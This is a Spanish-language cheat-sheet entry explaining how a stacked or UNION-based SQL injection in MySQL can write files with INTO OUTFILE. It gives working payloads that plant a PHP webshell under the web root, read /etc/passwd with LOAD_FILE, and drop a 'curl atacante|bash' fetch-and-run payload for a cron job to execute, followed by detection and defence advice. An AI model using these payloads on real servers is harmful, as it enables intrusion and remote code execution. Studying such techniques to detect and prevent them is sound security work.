SQL Injection to File Write (INTO OUTFILE)
Arsenal completo de comandos en la cheatsheetCuando una inyección SQL permite stacked queries (encadenar sentencias separadas por ;), el abuso va más allá de leer datos: se pueden ejecutar sentencias nuevas. En MySQL/MariaDB, si la conexión tiene el privilegio FILE y la variable secure_file_priv lo consiente, SELECT ... INTO OUTFILE '<path>' escribe un fichero en el disco del servidor con el contenido que se quiera.
... ; SELECT 'contenido' INTO OUTFILE '/ruta/escribible/fichero' ; --
-- webshell directa bajo el docroot (luego /shell.php?cmd=id)
... UNION SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/html/shell.php'-- -
-- INTO DUMPFILE para contenido binario (una linea, sin escapes)
... UNION SELECT 0x3c3f... INTO DUMPFILE '/var/www/html/shell.php'-- -También sirve para leer con LOAD_FILE('/etc/passwd') si hay privilegio FILE. En otros motores el equivalente de escritura/ejecución es MSSQL xp_cmdshell y PostgreSQL COPY ... TO/PROGRAM.
Escribir un fichero no da ejecución por sí solo; hace falta que algo lo lea o lo ejecute. Las dianas típicas: un directorio web (dejar caer una webshell .php bajo el docroot) o, como aquí, un script que una tarea programada ejecuta. Si un cron lanza el último fichero que encaja con un patrón en un directorio, se escribe ahí un payload (curl atacante|bash) y se espera a que el cron lo dispare, obteniendo ejecución con el usuario de la tarea.
Encontrar el punto de inyección y confirmar el tipo (error-based, stacked) se automatiza con sqlmap guardando la petición autenticada y pasándosela:
sqlmap -r peticion.req --batchCómo detectarlo. En la entrada, un WAF marca INTO OUTFILE, INTO DUMPFILE y sentencias apiladas (; seguido de otro SELECT/INSERT) en un parámetro. La detección definitiva es en el host: INTO OUTFILE hace que el proceso de la base de datos (mysqld) cree un fichero en disco, algo que casi nunca hace fuera de sus directorios de datos; un FIM o auditd vigilando escrituras de mysqld bajo el docroot o en rutas sensibles lo delata al instante. Si el objetivo es una webshell, sigue la firma de un RCE por subida: un .php nuevo servido y www-data engendrando una shell. Si es un cron, el proceso de la tarea ejecuta el payload escrito. La escritura por mysqld fuera de su almacén es la señal de oro.
Defensa. Consultas parametrizadas (nunca concatenar la entrada), una cuenta de base de datos sin privilegio FILE, secure_file_priv apuntando a un directorio inerte o vacío, y no ejecutar desde cron ficheros situados en rutas que el servicio de base de datos pueda escribir.